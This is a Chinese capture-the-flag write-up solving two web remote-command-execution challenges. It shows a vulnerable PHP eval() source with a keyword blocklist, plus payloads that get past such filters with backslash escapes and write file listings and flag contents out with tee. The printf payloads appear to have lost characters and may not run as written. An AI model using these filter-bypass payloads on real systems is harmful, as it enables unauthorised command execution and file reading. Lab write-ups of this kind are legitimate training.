web复现2

[SWPUCTF 2021 新生赛]finalrce

先进行代码审计,可以看出需要利用get传入一个参数,并且利用if和preg_match()函数过滤了一系列的字符串

在这里深入的再次介绍exec()函数

1
2
exec(string $command, array &$output = null, int &$result_code = null): string|false

exec()执行command参数所指定的命令,如果提供了output参数,会将命令执行的输出填充此数组,每行输出填充数组中的一个元素。如果同时提供output和result_code参数,命令执行后返回 的结果会被写到result_code ,返回命令执行结果的最后一行内容

所以这里直接执行命令是没有回显的,这里需要用到一个tee命令

tee命令会读取标准输入数据,并将其内容输出成文件。

基本的结构为

1
command |tee file.txt

|命令连接符,前语句假直接报错,后面不执行。反之,前语句真,后面执行。

还需要绕过ls

1
/?url=l\s / |tee 1.txt

这里的\转义字符是用于在外壳程序中转移字符,使控制字符成为字面量,而失去其在外壳程序中控制符的含义

然后去访问/1.txt

看到文件,且没有过滤tac,直接去读取

1
/?url=tac /flllll\aaaaaaggggggg |tee 2.txt

访问2.txt

得到了flag

[UUCTF 2022 新生赛]ez_rce

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
## 放弃把,小伙子,你真的不会RCE,何必在此纠结呢????????????
if(isset($_GET['code'])){
$code=$_GET['code'];
if (!preg_match('/sys|pas|read|file|ls|cat|tac|head|tail|more|less|php|base|echo|cp|\$|\*|\+|\^|scan|\.|local|current|chr|crypt|show_source|high|readgzfile|dirname|time|next|all|hex2bin|im|shell/i',$code)){
echo '看看你输入的参数!!!不叫样子!!';echo '<br>';
eval($code);
}
else{
die("你想干什么?????????");
}
}
else{
echo "居然都不输入参数,可恶!!!!!!!!!";
show_source(__FILE__);
}

首先进行代码审计,首先可以看见过滤了一大堆符号,然后看见了eval()函数

构造payload:/?code=printf(l\s /);

然后会看到fffffffffflagafag,然后获取文件的内容

因为过滤了cat和tac,因此再次使用\字符

payload:/?code=printf(c\at /fffffffffflagafag);

得到flag